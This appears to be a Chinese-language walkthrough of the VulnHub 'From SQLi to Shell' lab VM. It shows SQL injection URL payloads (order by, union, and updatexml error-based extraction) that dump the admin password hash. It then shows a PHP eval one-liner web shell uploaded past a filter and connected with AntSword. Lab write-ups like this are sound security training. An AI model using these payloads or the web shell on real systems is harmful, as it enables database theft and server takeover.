下载靶场虚拟机
https://download.vulnhub.com/pentesterlab/from_sqli_to_shell_i386.iso
打开虚拟机,为linux
发现 ip 为 192.168.93.132
打开kail虚拟机
nmap -p- ip
发现 80 端口开放
浏览器访问: 192.168.93.132:80
发现是个图片网站,点了上面的 admin 跳出一个登录
弱口令试试,没什么用
返回首页,检查源代码,发现图片的变化是通过id的变化来改变的
点击test,发现多了个图片,上面url变成http://192.168.93.132/cat.php?id=1
可以试试能不能sql注入,从数据库拿到后台登录账号密码
发现
http://192.168.93.132/cat.php?id=1' 报错
http://192.168.93.132/cat.php?id=1';%00 没用报错,闭合成功
试试 order
http://192.168.93.132/cat.php?id=1'order by 15000;%00 页面没变化????
看来是闭合有问题
最后发现是数字型。。。
http://192.168.93.132/cat.php?id=1 order by 15000 报错
http://192.168.93.132/cat.php?id=1 order by 4 正常
http://192.168.93.132/cat.php?id=1 order by 5 报错
试试union 联合注入
http://192.168.93.132/cat.php?id=-1 union select 1,2,3,4
发现 2 处回显
http://192.168.93.132/cat.php?id=-1 union select 1,database(),3,4
爆库:photoblog
http://192.168.93.132/cat.php?id=-1 union select 1,(table_name from information_schema.tables where table_schema='photoblog'),3,4--+
看来union联合注入可能不行(不懂是不是版本问题)
试试报错盲注
http://192.168.93.132/cat.php?id=1%20and(updatexml(1,concat(0x5e,(substr((database()),1)),0x5e),1))
发现爆出数据库了
http://192.168.93.132/cat.php?id=1%20and(updatexml(1,concat(0x5e,(substr((select table_name from information_schema.tables where table_schema='photoblog'limit 0,1),1)),0x5e),1))
发现报出了,修改limit值看看
http://192.168.93.132/cat.php?id=1%20and(updatexml(1,concat(0x5e,(substr((select table_name from information_schema.tables where table_schema='photoblog'limit 2,1),1)),0x5e),1))
爆出了users
http://192.168.93.132/cat.php?id=1%20and(updatexml(1,concat(0x5e,(substr((select group_concat(table_name) from information_schema.tables where table_schema='photoblog'limit 0,1),1)),0x5e),1))
通过上面加上了group_concat,发现可以全部爆出
接下来就是老套路了
http://192.168.93.132/cat.php?id=1%20and(updatexml(1,concat(0x5e,(substr((select group_concat(column_name) from information_schema.columns where table_schema='photoblog' and table_name='users'),1)),0x5e),1))
爆表了:id,login,password
账号,密码就是login和password了
http://192.168.93.132/cat.php?id=1%20and(updatexml(1,concat(0x5e,(substr((select group_concat(password) from users),1)),0x5e),1))
密码为:8efe310f9ab3efeae8d410a8e0166eb2 (MD5)
账号为 admin
明文密码为:P4ssw0rd
登录后台看看
发现有个文件上传的地方,是上传文件的,怀疑有文件上传漏洞
先试试直接上传个一句话木马
<?php eval(@$_POST['a']); ?>
发现页面返回 NO PHP !
尝试抓包 大小写,或者双写绕过
发现上传的路径没法知道,用7kbscan扫描,发现http://192.168.93.132/admin/uploads,进入
发现文件了,打开我们的脚本文件,用中国蚁剑连接
连接成功,输入ifconfig试试,ip正确